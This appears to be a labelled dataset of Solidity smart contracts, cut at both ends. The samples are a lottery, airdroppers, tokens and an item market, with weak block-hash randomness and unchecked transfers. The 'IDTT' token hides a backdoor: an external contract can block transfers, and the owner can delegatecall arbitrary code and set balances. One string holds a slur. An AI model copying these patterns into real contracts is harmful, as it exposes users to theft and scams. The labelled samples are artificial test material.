{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(
address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers
);
event onDraw
(
uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber
);
event onStartRunnd
(
uint256 timestamp,
uint256 roundID
);
event onBet
(
address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber
);
event onAssign
(
address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus,
uint256 fund
);
event onRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount
);
event onLastRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout
);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether;
uint256 constant private PRICE = 0.01 ether;
uint256 constant private MAX_DURATION = 30 days;
uint256 constant private REFUND_RATE = 90;
address constant private platform = 0xD51bD6EB7aA3661c9c5726403315F0B0f8d96C2e;
uint256 private curRoundID;
uint256 private drawnRoundID;
uint256 private drawnBlockNumber;
uint256 private bonus;
uint256 private issued_numbers;
bool private initialized;
mapping (uint256 => DataSet.Round) private rounds;
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))
))) % issued_numbers;
}
function bet(uint256 _amount) private
{
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
uint256 amount = _amount;
while (true)
{
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (
rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner
);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (
initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID
);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
} | 1 | 2,744 |
pragma solidity ^0.4.21;
interface ERC20 {
function transfer( address to, uint256 value ) external;
}
contract Airdropper {
function airdrop( address tokAddr,
address[] dests,
uint[] quantities ) public returns (uint) {
for (uint ii = 0; ii < dests.length; ii++) {
ERC20(tokAddr).transfer( dests[ii], quantities[ii] );
}
return ii;
}
} | 1 | 5,092 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Issuer is Ownable {
mapping(address => bool) public issued;
StandardToken public token;
address public allower;
uint public issuedCount;
function Issuer(address _owner, address _allower, StandardToken _token) {
owner = _owner;
allower = _allower;
token = _token;
}
function issue(address benefactor, uint amount) onlyOwner {
if(issued[benefactor]) throw;
token.transferFrom(allower, benefactor, amount);
issued[benefactor] = true;
issuedCount += amount;
}
} | 1 | 3,506 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract IDTT is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 96000000000000000000000000;
string public name = "Identity";
string public symbol = "IDTT";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,679 |
pragma solidity ^0.4.21;
contract ItemMarket{
address public owner;
uint16 public devFee = 500;
uint256 public ItemCreatePrice = 0.02 ether;
event ItemCreated(uint256 id);
event ItemBought(uint256 id);
event ItemWon(uint256 id);
struct Item{
uint32 timer;
uint256 timestamp;
uint16 priceIncrease;
uint256 price;
uint256 amount;
uint256 minPrice;
uint16 creatorFee;
uint16 previousFee;
uint16 potFee;
address creator;
address owner;
string quote;
string name;
}
mapping (uint256 => Item) public Items;
uint256 public next_item_index = 0;
modifier onlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function ItemMarket() public{
owner = msg.sender;
}
uint8 IS_STARTED=0;
function callOnce() public {
require(msg.sender == owner);
require(IS_STARTED==0);
IS_STARTED = 1;
AddItemExtra(600, 1500, 1 finney, 0, 3000, "Battery", msg.sender);
AddItemExtra(600, 150, 4 finney, 0, 5000, "Twig", msg.sender);
AddItemExtra(3600, 2000, 10 finney, 0, 4000, "Solar Panel", msg.sender);
AddItemExtra(3600*24, 5000, 10 finney, 0, 5000, "Moon", msg.sender);
AddItemExtra(3600*24*7, 7500, 50 finney, 0, 7000, "Ethereum", msg.sender);
AddItemExtra(2000, 10000, 1000000000000000, 500, 2000, "segfault's ego", 0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB);
AddItemExtra(300, 10000, 10000000000000000, 500, 2500, "Hellina", 0x83c0Efc6d8B16D87BFe1335AB6BcAb3Ed3960285);
AddItemExtra(600, 10000, 100000000000000000, 500, 2000, "nightman's gambit", 0x5C035Bb4Cb7dacbfeE076A5e61AA39a10da2E956);
AddItemExtra(360000, 10000, 5000000000000000, 200, 1800, "BOHLISH", 0xC84c18A88789dBa5B0cA9C13973435BbcE7e961d);
AddItemExtra(900, 2000, 20000000000000000, 1000, 2000, "Phil's labyrinth", 0x457dEA5F9c185419EA47ff80f896d98aadf1c727);
AddItemExtra(420, 6899, 4200000000000000, 500, 4000, "69,420 (Nice)", 0x477cCD47d62a4929DD11651ab835E132c8eab3B8);
next_item_index = next_item_index + 2;
AddItemExtra(600, 10000, 5000000000000000, 2500, 7000, "HELLINA IS A RETARDED DEGENERATE GAMBLER AND A FUCKING FUD QUEEN", 0x26581d1983ced8955C170eB4d3222DCd3845a092);
AddItemExtra(1800, 9700, 2000000000000000, 0, 2500, "Hot Potato", msg.sender);
}
function ChangeFee(uint16 _fee) public onlyOwner{
require(_fee <= 500);
devFee = _fee;
}
function ChangeItemPrice(uint256 _newPrice) public onlyOwner{
ItemCreatePrice = _newPrice;
}
function AddItemExtra(uint32 timer, uint16 priceIncrease, uint256 minPrice, uint16 creatorFee, uint16 potFee, string name, address own) internal {
uint16 previousFee = 10000 - devFee - potFee - creatorFee;
var NewItem = Item(timer, 0, priceIncrease, minPrice, 0, minPrice, creatorFee, previousFee, potFee, own, address(0), "", name);
Items[next_item_index] = NewItem;
next_item_index = add(next_item_index,1);
}
function AddItem(uint32 timer, uint16 priceIncrease, uint256 minPrice, uint16 creatorFee, uint16 potFee, string name) public payable {
require (timer >= 300);
require (timer < 31622400);
require(priceIncrease <= 20000);
require(minPrice >= (1 szabo) && minPrice <= (1 ether));
require(creatorFee <= 2500);
require(potFee <= 10000);
require(add(add(creatorFee, potFee), devFee) <= 10000);
if (msg.sender == owner){
require(creatorFee == 0);
if (msg.value > 0){
owner.transfer(msg.value);
}
}
else{
uint256 left = 0;
if (msg.value > ItemCreatePrice){
left = sub(msg.value, ItemCreatePrice);
msg.sender.transfer(left);
}
else{
if (msg.value < ItemCreatePrice){
revert();
}
}
owner.transfer(sub(msg.value, left));
}
require (devFee + potFee + creatorFee <= 10000);
uint16 previousFee = 10000 - devFee - potFee - creatorFee;
var NewItem = Item(timer, 0, priceIncrease, minPrice, 0, minPrice, creatorFee, previousFee, potFee, msg.sender, address(0), "", name);
Items[next_item_index] = NewItem;
emit ItemCreated(next_item_index);
next_item_index = add(next_item_index,1);
}
function Payout(uint256 id) internal {
var UsedItem = Items[id];
uint256 Paid = UsedItem.amount;
UsedItem.amount = 0;
UsedItem.owner.transfer(Paid);
UsedItem.owner = address(0);
UsedItem.price = UsedItem.minPrice;
UsedItem.timestamp = 0;
emit ItemWon(id);
}
function TakePrize(uint256 id) public {
require(id < next_item_index);
var UsedItem = Items[id];
require(UsedItem.owner != address(0));
uint256 TimingTarget = add(UsedItem.timer, UsedItem.timestamp);
if (block.timestamp > TimingTarget){
Payout(id);
return;
}
else{
revert();
}
}
function BuyItem(uint256 id, string quote) public payable{
require(id < next_item_index);
var UsedItem = Items[id];
if (UsedItem.owner != address(0) && block.timestamp > (add(UsedItem.timestamp, UsedItem.timer))){
Payout(id);
if (msg.value > 0){
msg.sender.transfer(msg.value);
}
return;
}
require(msg.value >= UsedItem.price);
require(msg.sender != owner);
require(msg.sender != UsedItem.owner);
uint256 devFee_used = mul(UsedItem.price, devFee) / 10000;
uint256 creatorFee_used = mul(UsedItem.price, UsedItem.creatorFee) / 10000;
uint256 prevFee_used;
if (UsedItem.owner == address(0)){
prevFee_used = 0;
devFee_used = 0;
creatorFee_used = 0;
}
else{
prevFee_used = (mul(UsedItem.price, UsedItem.previousFee)) / 10000;
UsedItem.owner.transfer(prevFee_used);
}
if (creatorFee_used != 0){
UsedItem.creator.transfer(creatorFee_used);
}
if (devFee_used != 0){
owner.transfer(devFee_used);
}
if (msg.value > UsedItem.price){
msg.sender.transfer(sub(msg.value, UsedItem.price));
}
uint256 potFee_used = sub(sub(sub(UsedItem.price, devFee_used), creatorFee_used), prevFee_used);
UsedItem.amount = add(UsedItem.amount, potFee_used);
UsedItem.timestamp = block.timestamp;
UsedItem.owner = msg.sender;
UsedItem.quote = quote;
UsedItem.price = (UsedItem.price * (add(10000, UsedItem.priceIncrease)))/10000;
emit ItemBought(id);
}
function () payable public {
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,249 |
pragma solidity ^0.4.17;
library SafeMathMod {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) < a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) > a);
}
}
contract STRANGE {
using SafeMathMod for uint256;
string constant public name = "STRANGE";
string constant public symbol = "STR";
uint8 constant public decimals = 8;
uint256 constant public totalSupply = 210000000e8;
uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event TransferFrom(address indexed _spender, address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Strange() public {balanceOf[msg.sender] = totalSupply;}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(isNotContract(_to));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_to != address(this));
uint256 allowance = allowed[_from][msg.sender];
require(_value <= allowance || _from == msg.sender);
balanceOf[_to] = balanceOf[_to].add(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
if (allowed[_from][msg.sender] != MAX_UINT256 && _from != msg.sender) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
}
Transfer(_from, _to, _value);
return true;
}
function multiPartyTransfer(address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
function multiPartyTransferFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
require(_toAddresses.length <= 255);
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
function isNotContract(address _addr) private view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length == 0);
}
function() public payable {revert();}
} | 1 | 3,147 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
